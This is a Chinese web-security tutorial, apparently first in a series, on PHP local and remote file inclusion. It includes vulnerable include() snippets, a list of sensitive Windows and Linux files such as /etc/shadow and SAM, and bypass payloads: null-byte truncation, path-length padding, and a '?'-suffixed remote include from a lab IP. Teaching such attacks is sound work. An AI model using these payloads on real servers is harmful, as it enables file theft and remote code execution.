WEB安全之文件包含漏洞——-上

文件包含漏洞

漏洞简述

服务器通过PHP的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,我们就可以利用这个包含的文件来构造恶意代码进行攻击。

漏洞产生的原因

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件(即而已文件)

文件包含的一些相关函数

include()
 #当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时,给出警告,继续向下执行。
include_once()
 #功能与include()相同,区别在于当重复调用统一文件时,程序只调用一次。
require()
 #require()与include的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
require_once()
 #功能与require()相同,区别在于当重复调用统一文件时,程序只调用一次。

文件包含类型

1.本地文件包含漏洞(LFI)

利用条件:

  • allow_url_fopen()=On
  • 用户可以动态控制变量

2.远程文件包含漏洞(RFI)

利用条件:

  •  allow_url_include=On&allow_url_fopen=On(两个需要同时开启)
  • 用户可以动态控制变量

实例

1.本地文件包含

源码

源码什么都没过滤,接下来包含任意文件

 

 这样就可以把flag包含出来,由于源码啥都没过滤,还可以去看更有用的信息,比如/etc/passwd

 还可以去看一些日志文件,获取一些有用的信息。

一些敏感文件路径

Windows

c:boot.ini // 查看系统版本

c:windowssystem32inetsrvMetaBase.xml // IIS配置文件

c:windowsrepairsam // 存储Windows系统初次安装的密码

c:ProgramFilesmysqlmy.ini // MySQL配置

c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码

c:windowsphp.ini // php 配置信息

linux

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

2.远程文件包含

源码

远程机器的文件内容和IP

利用远程文件包含,执行漏洞

从而可以执行命令,此时就可以将文件里面的内容修改为想要执行的命令,达到命令执行

 

 

 远程包含的文件后缀为txt,但是包含后会解析成为PHP,所以能执行命令

一些文件包含的绕过

%00截断绕过

条件 :   magic_quotes_gpc = Off php版本<5.3.4

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

由于这个代码指定了后缀名,我们可以用%00来截断这个.html,从而达到我们的目的

payload:   filename=../../../../../../etc/passwd%00

路径长度绕过

条件:windows OS,点号需要长于256;linux OS 长于4096

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

由于Windows下目录最大长度为256字节,超出的部分会被丢弃;Linux下目录最大长度为4096字节,超出的部分会被丢弃。所以我们可以设置超过这个字节的payload,将后面的丢弃。

payload

filename=flag.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号绕过

条件  windows系统

代码

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

利用  .  绕过 Windows目录支持最大的长度为256,所以.超过256的长度就可以了

payload 

filename=flag.txt.......................................................................
..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

?绕过

条件    只能远程文件包含

源码

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

可以在文件后面加入 ? 就可以绕过了

payload     ?filename=http://192.168.75.131/1.txt?

下一篇出php伪协议,以及一些其他的文件包含

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇

)">
下一篇>>